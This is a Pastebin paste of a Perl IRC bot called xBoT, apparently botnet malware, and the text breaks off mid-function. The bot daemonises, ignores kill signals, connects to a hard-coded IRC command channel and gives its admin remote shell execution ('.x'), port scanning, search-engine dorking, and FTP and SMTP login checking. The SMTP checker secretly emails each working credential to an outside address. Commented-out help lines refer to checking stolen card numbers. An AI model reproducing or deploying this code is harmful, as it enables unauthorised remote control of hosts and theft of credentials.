Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- #################################################
- use HTTP::Request; #
- use HTTP::Request::Common; #
- use HTTP::Request::Common qw(POST); #
- use LWP::Simple; #
- use LWP 5.53; #
- use LWP::UserAgent; #
- use Socket; #
- use IO::Socket; #
- use IO::Socket::INET; #
- use IO::Select; #
- use MIME::Base64; #
- use Net::FTP; #
- use Net::SMTP; #
- #################################################
- my $datetime = localtime;
- my $fakeproc = "/usr/sbin/sendmail";
- my $ircserver = "irc.priv8.jp";
- my $ircport = "6667";
- my $nickname = "xBoT";
- my $ident = "-";
- my $channel = "#unsekurity";
- my $admin = "nickdoadmin";
- my $fullname = "-";
- my $onjoinchan = ""; #for default onjoinchan is not defined
- my $onjoin = 0; #for default onjoinmsg is off
- my $re = $0;
- my $onjoinmsg = "Welcome Back ;)"; #the default on join msg
- my $onjoinmethod = "PRIVMSG";
- my $defuagent = ("Googlebot/2.1 (+http://www.google.com/bot.html)");
- my $defuagent1 = ("Gigabot/3.0 (http://www.gigablast.com/spider.html)");
- my $defuagent2 = ("AdsBot-Google (+http://www.google.com/adsbot.html)");
- my @uagents = ("Microsoft Internet Explorer/4.0b1 (Windows 95)",
- "Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)");
- my $uagent = $uagents[rand scalar @uagents];
- $SIG{'INT'} = 'IGNORE';
- $SIG{'HUP'} = 'IGNORE';
- $SIG{'TERM'} = 'IGNORE';
- $SIG{'CHLD'} = 'IGNORE';
- $SIG{'PS'} = 'IGNORE';
- #$0 = "$fakeproc"."\0" x 16;
- #print "$0\r\n";
- my $pid = fork;
- exit if $pid;
- die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
- our %irc_servers;
- our %DCC;
- my $dcc_sel = new IO::Select->new();
- $sel_client = IO::Select->new();
- sub sendraw {
- if ($#_ == '1') {
- my $socket = $_[0];
- print $socket "$_[1]\n";
- } else {
- print $IRC_cur_socket "$_[0]\n";
- }
- }
- sub connector {
- my $mynick = $_[0];
- my $ircserver_con = $_[1];
- my $ircport_con = $_[2];
- my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
- if (defined($IRC_socket)) {
- $IRC_cur_socket = $IRC_socket;
- $IRC_socket->autoflush(1);
- $sel_client->add($IRC_socket);
- $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
- $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
- nick("$mynick");
- sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
- sleep (1);}}
- sub parse {
- my $servarg = shift;
- if ($servarg =~ /^PING \:(.*)/) {
- sendraw("PONG :$1");
- }
- elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
- if (lc($1) eq lc($mynick)) {
- $mynick = $4;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- }
- }
- elsif ($servarg =~ m/^\:(.+?) 433 */) {
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- nick("$mynick|".int rand(100));
- }
- elsif($servarg =~ m/^ERROR :Closing Link: (.*?)Throttled/i){
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- print "Throttled !\r\n";
- exit;
- }
- elsif($servarg =~ m/^:(.+?)Overridden/){
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- print "Overridden! \r\n";
- exit;
- }
- elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+) :/) {
- print "connected\r\n";
- $mynick = $2;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- my $passnick = "cruz3xbot";
- sendraw("MODE $mynick +iBx");
- sendraw("IDENTIFY $passnick");
- sendraw("JOIN #0,0");
- sendraw("JOIN $channel");
- sendraw("PRIVMSG $channel :y0!");
- }
- }
- my $line_temp;
- while( 1 ) {
- while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
- select(undef, undef, undef, 0.01);;
- delete($irc_servers{''}) if (defined($irc_servers{''}));
- my @ready = $sel_client->can_read(0);
- next unless(@ready);
- foreach $fh (@ready) {
- $IRC_cur_socket = $fh;
- $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
- $nread = sysread($fh, $ircmsg, 4096);
- if ($nread == 0) {
- $sel_client->remove($fh);
- $fh->close;
- delete($irc_servers{$fh});
- }
- @lines = split (/\n/, $ircmsg);
- $ircmsg =~ s/\r\n$//;
- if($onjoin == 1 && defined $onjoinmsg){
- if ($ircmsg =~ m/^\:(.*?)\!(.+?)\@(.+?) JOIN :$onjoinchan/) {
- sendraw("$onjoinmethod $1 $onjoinmsg");
- }
- }
- if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
- my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
- if ($path eq $mynick) {
- if ($msg =~ /^PING (.*)/) {
- sendraw("NOTICE $nick :PING LoL");
- }
- if ($msg =~ /^VERSION/) {
- sendraw("NOTICE $nick :VERSION xBoT v0.8.8");
- }
- if ($msg =~ /^TIME/) {
- sendraw("NOTICE $nick :TIME type !time on main channel");
- }
- }
- ########################ADMIN COMMANdS!###################################
- if (&isAdmin($nick) && $msg eq "!die") {
- &shell("$path","kill -9 $$");
- }
- if (&isAdmin($nick) && $msg eq "!kill") {
- &shell("$path","killall -9 perl");
- }
- if (&isAdmin($nick) && $msg eq "!reset") {
- sendraw("QUIT :Restarting...");
- print "re => $re\r\n";
- &shell("$path","kill -9 $$ && perl $re");
- }
- if (&isAdmin($nick) && $msg =~ /^!join\s+(.*)/) {
- sendraw("JOIN $1");
- }
- if (&isAdmin($nick) && $msg =~ /^!part\s+(.*)/) {
- sendraw("PART $1");
- }
- if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
- sendraw("NICK ".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!pid/) {
- ¬ice("$nick","$fakeproc - $$");
- }
- if (&isAdmin($nick) && $msg =~ /^\.x (.*)/) {
- &shell("$path","$1");
- }
- ######################################################################
- ######################################################################
- if (&isAdmin($nick) && $msg =~ /^!notice\s+(.*)\s+(.*)/) {
- ¬ice("$1","$2");
- }
- ######################################################################
- if (&isAdmin($nick) && $msg =~ /^!raw\s+(.*)/) {
- sendraw("$1");
- }
- ######################################################################
- if (&isAdmin($nick) && $msg =~ /^!msg\s+(.*)/) {
- my ($messagez) = ($1);
- sendraw("PRIVMSG $messagez");
- }
- ######################################################################
- if ($msg =~ /^!ojoin\s+(.*)/) {
- if($1 =~ m/on/){
- $onjoin = 1;
- &msg("$path","14,01[ 15 OnJoin 14 ]08 Switched to 05=> 09ON");
- }elsif($1 =~ m/off/){
- $onjoin = 0;
- &msg("$path","14,01[ 15 OnJoin 14 ]08 Switched to 05=> 04OFF");
- }elsif($1 =~ m/status/){
- if($onjoin == 1){
- $status = "09ON";
- }elsif($onjoin == 0){
- $status = "04OFF";
- }
- &msg("$path","14,01[ 15 OnJoin 14 ]08 Is 05=> $status");
- }
- }
- ######################################################################
- if ($msg =~ /^!ochan\s+(.*)/) {
- if($1 =~ m/status/){
- &msg("$path","14,01[ 15 OnJoinChan 14 ]08 Is 04=> 09$onjoinchan");
- }else{
- $onjoinchan = "$1";
- &msg("$path","14,01[ 15 OnJoinChan 14 ]08 Changed to 04=> 09$onjoinchan");
- }
- }
- ######################################################################
- if($msg =~ /^!omsg\s+(.*)/){
- if($1 =~ m/status/){
- &msg("$path","14,01[ 15 OnJoinMsg 14 ]08 Is 04=> 09$onjoinmsg");
- }else{
- $onjoinmsg = $1;
- &msg("$path","14,01[ 15 OnJoinMsg 14 ]08 Changed to 04=> 09$onjoinmsg");
- }
- }
- ######################################################################
- if($msg =~ /^!omethod\s+(.*)/){
- if($1 =~ m/status/){
- &msg("$path","14,01[ 15 OnJoinMethod 14 ]08 Is 04=> 09$onjoinmethod");
- }
- elsif($1 =~ m/1/){
- $onjoinmethod = "PRIVMSG";
- &msg("$path","14,01[ 15 OnJoinMethod 14 ]08 Changed to 04=> 09$onjoinmethod");
- }
- elsif($1 =~ m/2/){
- $onjoinmethod = "NOTICE";
- &msg("$path","14,01[ 15 OnJoinMethod 14 ]08 Changed to 04=> 09$onjoinmethod");
- }
- elsif($1 =~ m/3/){
- $onjoinmethod = "PRIVMSG $channel";
- &msg("$path","14,01[ 15 OnJoinMethod 14 ]08 Changed to 04=> 09$onjoinmethod");
- }
- elsif($1 =~ m/4/){
- $onjoinmethod = "NOTICE $channel";
- &msg("$path","14,01[ 15 OnJoinMethod 14 ]08 Changed to 04=> 09$onjoinmethod");
- }
- else{
- &msg("$path","14,01[ 15 OnJoinMethod 14 ]08 Type 04!omethod 1 - 4 or status");
- }
- }
- ######################################################################
- if ($msg =~ /^!sysinfo/) {
- my $uname = `uname -sr`;
- if ( $uname =~ /freebsd/i ) {
- $hostname = `hostname`;
- $memory = `expr \`cat /var/run/dmesg.boot | grep "real memory" | cut -f5 -d" "\` \/ 1048576`;
- chomp($memory);
- }
- elsif ( $uname =~ /linux/i ) {
- $hostname = `hostname -f`;
- $memory = `free -m |grep -i mem | awk '{print \$2}'`;
- chomp($memory);
- }else {
- $sysname ="Not Found";;
- $memory ="Not found";
- $swap ="Not Found";
- }
- my $uptime = `uptime`;
- if (( -x "/usr/bin/wget")&&( -e "/usr/bin/wget")) { $wGet="09,01Yes"; } else { $wGet="04,01No"; }
- if (( -x "/usr/bin/curl")&&( -e "/usr/bin/curl")) { $Curl="09,01Yes"; } else { $Curl="04,01No"; }
- if (( -x "/usr/bin/fetch")&&( -e "/usr/bin/fetch")) { $fetch="09,01Yes"; } else { $fetch="04,01No"; }
- if (( -x "/usr/bin/GET")&&( -e "/usr/bin/GET")) { $GET="09,01Yes"; } else { $GET="04,01No"; }
- if (( -x "/usr/bin/lwp-download")&&( -e "/usr/bin/lwp-download")) { $LWP="09,01Yes"; } else { $LWP="04,01No"; }
- &msg("$path","Wget : $wGet");
- &msg("$path","Curl : $Curl");
- &msg("$path","Fetch : $fetch");
- &msg("$path","Get : $GET");
- &msg("$path","Lwp : $LWP");
- &msg("$path","Uname -sr: $uname");
- &msg("$path","Hostname : $hostname");
- &msg("$path","Memory : $memory");
- &msg("$path","Uptime : $uptime");
- }
- ######################################################################
- if ($msg =~ /^!info/) {
- if ((-x "/usr/bin/php") && (-e "/usr/bin/php")) { $myphp="09,01Yes"; } else { $myphp="04,01No"; }
- if ((-x "/usr/bin/python") && (-e "/usr/bin/python")) { $python="09,01Yes"; } else { $python="04,01No"; }
- if ((-x "/usr/bin/ruby") && (-e "/usr/bin/ruby")) { $ruby="09,01Yes"; } else { $ruby="04,01No"; }
- if ((-x "/usr/bin/gcc") && (-e "/usr/bin/gcc")) { $gcc="09,01Yes"; } else { $gcc="04,01No"; }
- if ((-x "/usr/bin/cc") && (-e "/usr/bin/cc")) { $cc="09,01Yes"; } else { $cc="04,01No"; }
- if ((-x "/usr/bin/nmap") && (-e "/usr/bin/nmap")) { $nmap="09,01Yes"; } else { $nmap="04,01No"; }
- &msg("$path","Php : $myphp");
- &msg("$path","Python: $python");
- &msg("$path","Ruby : $ruby");
- &msg("$path","Gcc : $gcc");
- &msg("$path","Cc : $cc");
- &msg("$path","Nmap : $nmap");
- }
- ######################################################################
- #######################ENDOF ADDMIN COMMANDS##################################
- #########################BEGIN Public coMMANDS######################################
- if ($msg =~ /^!help/) {
- &msg("$path","00,01Commands Are Available:");
- #&msg("$path","00,01!bin14.....00: <08ccnumber00> To resolve country from a ccnumber.");
- #&msg("$path","00,01!sec14.....00: <08ccnumber00> To check Vbv/Mcsc protection from a ccnumber.");
- &msg("$path","00,01!google14..00: <08keyword00> To get links from google.");
- &msg("$path","00,01!bing14....00: <08keyword00> To get links from bing.");
- &msg("$path","00,01!ip14......00: <08ip00> To check info about an ip.");
- &msg("$path","00,01!head14....00: <08host/ip00> To check Server version.");
- &msg("$path","00,01!dns14.....00: <08hostname00> To resolve a hostname/domain to ip address.");
- &msg("$path","00,01!port14....00: <08host/ip00> 00<08port00> To check open port.");
- &msg("$path","00,01!portscan1400: <08host/ip00> To scan a host for common ports.");
- &msg("$path","00,01!ftp14.....00: <08hostname00> <08user00> <08password00> to check ftp logins.");
- &msg("$path","00,01!hex14.....00: <08String00> To encrypt string -> hex");
- &msg("$path","00,01!dechex14..00: <08Hex00> To Decrypt hex -> String");
- &msg("$path","00,01!base64..1400: <08text00> To encrypt text to base4 encryption.");
- &msg("$path","00,01!dec64...1400: <08string00> To decrypt base64.");
- &msg("$path","00,01!length..1400: <08string00> To Check length of your word.");
- &msg("$path","00,01!time....1400: To check Localtime");
- &msg("$path","04,01./Eof");
- #&msg("$path","");
- #&msg("$path","");
- #&msg("$path","");
- }
- ######################################################################
- if ($msg =~ /^!time/) {
- $time = localtime;
- &msg("$path","14,01[ 15Time14 ]04 $time");
- }
- ######################################################################
- if ($msg =~ /^!length\s+(.*)/) {
- my $length = length($1);
- &msg("$path","$length");
- }
- #####################################################################
- if ($msg=~ /^!md5\s+(.*)/ ) {
- if (my $pid = fork) { waitpid($pid, 0); } else {
- if (fork) { exit; } else {
- my $md5de = $1;
- &msg("$path","14,1[15,1 MD5 14,01]08,01 Encrypting 05=> 09$md5de");
- my $traceip = ("http://md5.rednoize.com/?q=".$md5de);
- $resul = &get_content($traceip);
- if ($resul =~ m/<div id=\"result\" >(.*?)<\/div>/) {
- &msg("$path","14,1[15,1 MD5 14,01]08,01 $md5de 05=> 09$1");
- }
- }
- exit;
- }
- }
- ######################################################################
- # if ($msg =~ /^!about/) {
- # &msg("$path","14,01[07 AbouT 14]08 xBoT by 09s4l1ty");
- # &msg("$path","14,1[07 AbouT 14]08 for 09Root-NetWork! 08& 09s4l1ty.biz!");
- # }
- ######################################################################
- if ($msg =~ /^!version/) {
- &msg("$path","14,01[07 VerSion 14]08 v0.8.8 09r0x");
- }
- ######################################################################
- if ($msg=~ /^!short\s+(.*)/ ) {
- if (my $pid = fork) { waitpid($pid, 0); } else {
- if (fork) { exit; } else {
- my $url = $1;
- if($url eq ''){
- &msg("$path","14,1[15,1 Short 14,01]04,01 NULL?");
- exit;
- }
- &msg("$path","14,1[15,1 Short 14,01]08,01 Encurtando 05=> 09$url");
- my $surl = ("http://cachor.ro/api.php?url=".$url."");
- $resul = &get_content($surl);
- &msg("$path","14,1[15,1 Short 14,01]08,01 $url 05=> 09$resul");
- exit;
- }
- }
- }
- ######################################################################
- if ($msg=~ /^!skype\s+(.*)/ ) {
- if (my $pid = fork) { waitpid($pid, 0); } else {
- if (fork) { exit; } else {
- my $url = $1;
- if($url eq ''){
- &msg("$path","14,1[15,1 Skype 14,01]04,01 NULL?");
- exit;
- }
- &msg("$path","14,1[15,1 Skype 14,01]08,01 Resolvendo 05=> 09$url");
- my $surl = ("http://skypegrabapi.info/?key=Z0qm6Zp1UVdjCL4nfWpRH27Uc&name=".$url."");
- $resul = &get_content($surl);
- &msg("$path","14,1[15,1 Skype 14,01]08,01 $url 05=> 09$resul");
- exit;
- }
- }
- }
- ######################################################################
- if ($msg=~ /^!ip\s+(.*)/ ) {
- if (my $pid = fork) { waitpid($pid, 0); } else {
- if (fork) { exit; } else {
- my $ip = $1;
- if($ip eq ''){
- &msg("$path","14,1[15,1 ip 14,01]04,01 NULL?");
- exit;
- }
- if($ip !~ m/(\d[0-9]{0,3})\.(\d[0-9]{0,3})\.(\d[0-9]{0,3})\.(\d[0-9]{0,3})/){
- &msg("$path","14,1[15,1 ip 14,01]04,01 WHERE is THE IP?");
- exit;
- }
- &msg("$path","14,1[15,1 IP 14,01]00,01 Checking 05=> 09$ip");
- my $traceip = ("http://whatismyipaddress.com/ip/".$ip."");
- $resul = &get_content($traceip);
- if($resul =~ m/We were unable to find the page/){
- &msg("$path","14,1[15,1 IP 14,01]09,01 $ip 05=> 04No result!");
- exit;
- }elsif($resul =~ m/What is a Private IP Address/){
- &msg("$path","14,1[15,1 IP 14,01]09,01 $ip 05=> 04Private ip!");
- exit;
- }
- elsif ($resul =~ m/Hostname:<\/th><td>(.*?)<\/td>/) {
- &msg("$path","14,1[15,1 Hostname 14,01]08,01 $1");
- }
- if ($resul =~ m/ISP:<\/th><td>(.*?)<\/td>/) {
- &msg("$path","14,1[15,1 ISP 14,01]08,01 $1");
- }
- if ($resul =~ m/Country:<\/th><td>(.*) <img/) {
- &msg("$path","14,1[15,1 Country 14,01]08,01 $1");
- }
- if ($resul =~ m/State\/Region:<\/th><td>(.*?)<\/td>/) {
- &msg("$path","14,1[15,1 State 14,01]08,01 $1");
- }
- if ($resul =~ m/City:<\/th><td>(.*?)<\/td>/) {
- &msg("$path","14,1[15,1 City 14,01]08,01 $1");
- }
- exit; }
- }
- }
- #######################################################################
- if ($msg=~ /^!dns\s+(.*)/){
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my $check = $1;
- if($check eq ''){
- &msg("$path","14,1[15,1 DNS 14,01]04,01 NULL?");
- exit;
- }
- elsif($check =~ m/@/){
- &msg("$path","14,1[15,1 DNS 14,01]08,01 Checking04 => 09$nick");
- exit;
- }
- if($check =~ m/(\d[0-9]{0,3})\.(\d[0-9]{0,3})\.(\d[0-9]{0,3})\.(\d[0-9]{0,3})/){
- &msg("$path","14,1[15,1 DNS 14,01]08,01 Checking05 => 09$check");
- $check = "$1.$2.$3.$4";
- my $gethost = gethostbyaddr(inet_aton($check), AF_INET);
- if(defined $gethost){
- &msg("$path","14,1[15,1 DNS 14,01]08,01 $check05 => 09$gethost");
- }elsif(!defined $gethost){
- &msg("$path","14,1[15,1 DNS 14,01]08,01 $check05 => 04Not Resolved!");
- }
- }
- elsif($check !~ m/(\d[0-9]{0,3})\.(\d[0-9]{0,3})\.(\d[0-9]{0,3})\.(\d[0-9]{0,3})/){
- &msg("$path","14,1[15,1 DNS 14,01]08,01 Checking05 => 09$check");
- my $aton = inet_aton($check);
- if(length($aton) != 0){
- $ntoa = inet_ntoa($aton);
- &msg("$path","14,1[15,1 DNS 14,01]08,01 $check05 => 09$ntoa");
- }
- else{
- &msg("$path","14,1[15,1 DNS 14,01]08,01 $check05 => 04Not Resolved!");
- }
- }
- }
- }
- }
- ##########################################################################################
- if ($msg=~ /^!head\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($host) = ($1);
- &msg("$path","14,1[15 cServ 14]00 Checking =>08 $host");
- &check_serv($path,$host);
- }
- exit;
- }
- }
- ##########################################################################################
- if ($msg=~ /^!ftp\s+(.+?)\s+(.*)\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($host,$user,$pass) = ($1,$2,$3);
- &msg("$path","3,1[3FTP]15 Checking 04 $host - 09$user : $pass");
- &ftp_connect($host,$user,$pass,$path);
- }
- exit;
- }
- }
- ##########################################################################################
- if ($msg=~ /^!smtp\s+(.+?)\s+(.*)\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($host,$user,$pass) = ($1,$2,$3);
- &msg("$path","3,1[7 SMTP 03]00 Checking 08 $host - 09$user : $pass");
- &smtp_check($path,$host,$user,$pass);
- }
- exit;
- }
- }
- ######################################################################
- if ($msg =~ /^!portscan (.*)$/ ) {
- my $hostip="$1";
- my @portas=("21","22","23","25","53","80","101","443","444","445","464","488","512","1033","1066","1079","1080","1109","1433","1434","1512","3128","3306","3389","4321","5000","5902","5901","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","8000","8018","8080","8200","10000","31337","55555");
- my (@aberta, %porta_banner);
- &msg("$path","14,01[15 PortScan 14]00 Scanning 05=> 09$hostip 15Please Wait...!");
- foreach my $porta (@portas) {
- my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 2);
- if ($scansock) {
- push (@aberta, $porta);
- $scansock->close;
- }
- }
- if (@aberta) {
- &msg("$path", "14,01[15 PortScan 14]07 Open ports are :04 @aberta");
- } else {
- &msg("$path","14,01[15 PortScan 14]04 All ports are Closed!");
- }
- }
- ######################################################################
- if ($msg=~ /^!port\s+(.*?)\s+(.*)/ ) {
- my $hostip= "$1";
- my $portsc= "$2";
- &msg("$path","14,1[15 Port 14] 00Checking 05=> 08$hostip:$portsc");
- my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $portsc, Proto =>'tcp', Timeout => 4);
- if ($scansock) {
- &msg("$path","14,1[15 Port 14]08 $hostip:$portsc05 => 09Accepted!");
- }
- else {
- &msg("$path","14,1[15 Port 14]08 $hostip:$portsc05 => 04Connection Refused!");
- }
- }
- ######################################################################
- if ($msg=~ /^!hex\s(.*)/){
- if (my $pid = fork) { waitpid($pid, 0); }
- else {
- if (fork) { exit; } else {
- my ($str)= ($1);
- &msg("$path","14,1[15,1 Hex 14,01]00,01 Generating05 =>08,01 $str");
- my @hex = (unpack('H*', $str));
- &msg("$path","14,1[15,1 Hex 14,01]00,01 Generated:04 @hex");
- }
- exit;
- }
- }
- ######################################################################
- if ($msg=~ /^!dechex\s(.*)/){
- if (my $pid = fork) { waitpid($pid, 0); }
- else {
- if (fork) { exit; } else {
- my ($hex)= ($1);
- &msg("$path","14,1[15,1 Dechex 14,01]00,01 Decoding 05 =>08,01 $hex");
- my @str = (pack('H*', $hex));
- &msg("$path","14,1[15,1 Dechex 14,01]00,01 Decoded:04 @str");
- }
- exit;
- }
- }
- ######################################################################
- if ($msg=~ /^!base64\s(.*)/){
- if (my $pid = fork) { waitpid($pid, 0); }
- else {
- if (fork) { exit; } else {
- my ($str)= ($1);
- &msg("$path","14,1[15,1 Base64 14,01]00,01 Generating05 =>08,01 $str");
- my $base64_encoded = encode_base64($str);
- &msg("$path","14,1[15,1 Base64 14,01]00,01 Generated:04 $base64_encoded");
- }
- exit;
- }
- }
- ######################################################################
- if ($msg=~ /^!dec64\s(.*)/){
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my ($hash)= ($1);
- &msg("$path","14,1[15,1 Decode64 14,01]00,01 Decoding05 =>08,01 $hash");
- my $base64_decoded = decode_base64($hash);
- &msg("$path","14,1[15,1 Decode64 14,01]00,01 Decoded:04 $base64_decoded");
- }
- exit; }
- }
- ######################################################################
- if ($msg=~ /^!site\s(.*)/) {
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my ($site) = ($1);
- &msg("$path","14,1[15 cTitle14] 00Checking 05=> 09$site");
- my $useragent = LWP::UserAgent->new(agent => $uagent);
- $useragent->timeout(3);
- my $response = $useragent->get($site);
- if(!$response->is_success){
- &msg("$path","14,1[15 cTitle14] 04,01Can't Connect to 05=> 09$site");
- exit;
- }elsif ($response->is_success) {
- my $res = $response->content;
- if ($res =~ m/<title>(.*)<\/title>/g) {
- &msg("$path","14,1[15 cTitle14] 08Title site is 05=> 09$1");
- }elsif($res =~ m/<TITlE>(.*)<\/TITlE>/g){
- &msg("$path","14,1[15 cTitle14] 08Title site is 05=> 09$1");
- }
- else {
- &msg("$path","14,1[15 cTitle14] 04No Title Found!");
- }
- }
- exit;
- }
- }
- }
- ######################################################################
- if ($msg=~ /^!google\s+(.*)\s+(.*)/) {
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my ($dork,$listed) = ($1,$2);
- if($listed !~ m/(\d[0-9]{0,2})/){
- $listed = "1";
- &msg("$path","14,1[15 Google 14] 00Googling 05=> 09$dork");
- &googling($path,$dork,$listed);
- }
- elsif(int($listed)){
- if($listed > 10){
- &msg("$path","14,1[15 Google 14] 04 Dont use more than 10");
- exit;
- }
- else{
- &msg("$path","14,1[15 Google 14] 00Googling 05=> 09$dork");
- &googling($path,$dork,$listed);
- }
- }
- exit;
- }
- }
- }
- ######################################################################
- if ($msg=~ /^!bing\s+(.*)\s+(.*)/) {
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- my ($dork,$listed) = ($1,$2);
- if($listed !~ m/(\d[0-9]{0,2})/){
- $listed = "1";
- &msg("$path","14,1[15 BING 14] 00Searching 05=> 09$dork");
- &binger($path,$dork,$listed);
- }
- elsif(int($listed)){
- if($listed > 9){
- &msg("$path","14,1[15 BING 14] 04 Dont use more than 9");
- exit;
- }
- else{
- &msg("$path","14,1[15 BING 14] 00Searching 05=> 09$dork");
- &binger($path,$dork,$listed);
- }
- }
- exit;
- }
- }
- }
- ######################################################################
- #####################################################################
- }
- for(my $c=0; $c<= $#lines; $c++) {
- $line = $lines[$c];
- $line = $line_temp.$line if ($line_temp);
- $line_temp = '';
- $line =~ s/\r$//;
- #print "LINE => $line \r\n";
- unless ($c == $#lines) {
- &parse("$line");
- } else {
- if ($#lines == 0) {
- &parse("$line");
- } elsif ($lines[$c] =~ /\r$/) {
- &parse("$line");
- } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
- &parse("$line");
- } else {
- $line_temp = $line;
- }
- }
- }
- } #end of foreach $fh (@ready)
- }#end of while(1)
- ######################################################################
- ######################################################################
- sub googling(){
- my $chan = $_[0];
- my $dork = $_[1];
- my $listed = $_[2];
- if($listed !~ m/(\d[0-9]{0,2})/){
- $listed = "1";
- }
- #print "OKAY $dork => $listed\r\n";
- my $ug = "Googlebot/2.1 (+http://www.google.com/bot.html)";
- my $useragent = LWP::UserAgent->new(agent => $ug,Timeout => 3);
- my $start = "http://www.google.com.au/search?hl=en&q=";
- my $end = "&start=";
- my $site = "".$start.$dork.$end."";
- my $response = $useragent->get($site);
- if(!$response->is_success){
- &msg("$chan","14,1[15 Google 14] 04,01Can't Connect to GooGlE");
- print "CONNECTION ERROR\r\n";
- exit;
- }
- elsif ($response->is_success) {
- if(int($listed)){
- my $res = $response->content;
- if($res =~ m/<h3 class=(.*?)><a href=\"(.*?)?q=(.*?)&(.*?)\"><b>(.*?)<\/b>/g){
- for($i=1;$i<=$listed;$i++){
- if($res =~ m/<h3 class=(.*?)><a href=\"(.*?)?q=(.*?)&(.*?)\"><b>(.*?)<\/b>/g){
- &msg("$chan","14,1[15 Google 14] 14[08$i14] 04,01$3");
- #print "1 => $1 2 => $2 3 => $3\r\n";
- }
- }
- }elsif($res =~ m/- did not match any documents/g){
- &msg("$chan","14,1[15 Google 14]04,01 No result!");
- }
- }
- }
- elsif($response->status_line =~ m/403/){
- &msg("$chan","14,1[15 Google 14] 04,01[e] Forbidden request");
- print "FORBIDDEN\r\n";
- exit;
- }
- else{
- &msg("$chan","14,1[15 Google 14] 04,01[e] Connection error");
- print "CONNECTION ERROR\r\n";
- exit;
- }
- }
- ######################################################################
- sub binger(){
- my $chan = $_[0];
- my $dork = $_[1];
- my $listed = $_[2];
- if($listed !~ m/(\d[0-9]{0,2})/){
- $listed = "1";
- }
- #print "OKAY $dork => $listed\r\n";
- my $ug = "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.17 (KHTML, like Gecko) Chrome/24.0.1312.56 Safari/537.17";
- my $useragent = LWP::UserAgent->new(agent => $ug,Timeout => 3);
- my $site = "http://www.bing.com/search?q=".$dork."&filt=all&first=10&FORM=PERE";
- my $response = $useragent->get($site);
- if(!$response->is_success){
- &msg("$chan","14,1[15 BING 14] 04,01Can't Connect to Bing..");
- print "CONNECTION ERROR\r\n";
- exit;
- }
- elsif ($response->is_success) {
- if(int($listed)){
- my $res = $response->content;
- if($res =~ m/<h3><a href=\"(.*?)\" h=\"(.*)\">/g){
- for($i=1;$i<=$listed;$i++){
- if($res =~ m/<h3><a href=\"(.*?)\" h=\"(.*)\">/g){
- &msg("$chan","14,1[15 BING 14] 14[08$i14] 04,01$1");
- #print "1 => $1 2 => $2 3 => $3\r\n";
- }
- }
- }
- elsif($res =~ m/<div id=\"no_results\"><h1>/g){
- &msg("$chan","14,1[15 BING 14] 04,01No Result!");
- }
- }
- }
- elsif($response->status_line =~ m/403/){
- &msg("$chan","14,1[15 BING 14] 04,01[e] Forbidden request");
- print "FORBIDDEN\r\n";
- exit;
- }
- else{
- &msg("$chan","14,1[15 BING 14] 04,01[e] Connection error");
- print "CONNECTION ERROR\r\n";
- exit;
- }
- }
- ######################################################################
- sub smtp_check() {
- my $chan = $_[0];
- my $host = $_[1];
- my $user = $_[2];
- my $pass = $_[3];
- my $smtp = Net::SMTP->new($host,Timeout => 6,Debug => 0);
- if(!$smtp){
- &msg("$chan","3,1[7 SMtP 03]08 $host 00=> 04Can`t Connect!");
- exit;
- }
- my $login = $smtp->auth($user, $pass);
- if($login){
- $smtp->mail('smtpreporter@s4l1ty.co.uk');
- $smtp->to('r00t@s4l1ty.co.uk');
- $smtp->data();
- $smtp->datasend("To: r00t\@s4l1ty.co.uk\n");
- $smtp->datasend("From: SMTP Reporter <smtpreporter\@s4l1ty.co.uk>\n");
- $smtp->datasend("Content-Type: text/html \n");
- $smtp->datasend("Subject: New SMTP! - $host");
- $smtp->datasend("\n");
- $smtp->datasend("<b>New SMTP Details!</b><br><br>
- SMTP Server: $host<br>
- SMTP Username: $user<br>
- SMTP Password: $pass<br><br>
- ");
- $smtp->datasend("\n");
- $smtp->dataend();
- $smtp->quit;
- &msg("$chan","3,1[7 SMTP 03]08 $host - 09$user : $pass 00=>09 Success!!!");
- }elsif(!$login){
- &msg("$chan","3,1[7 SMTP 03]08 $host - 09$user : $pass 00=>04 Bad logins!!!");
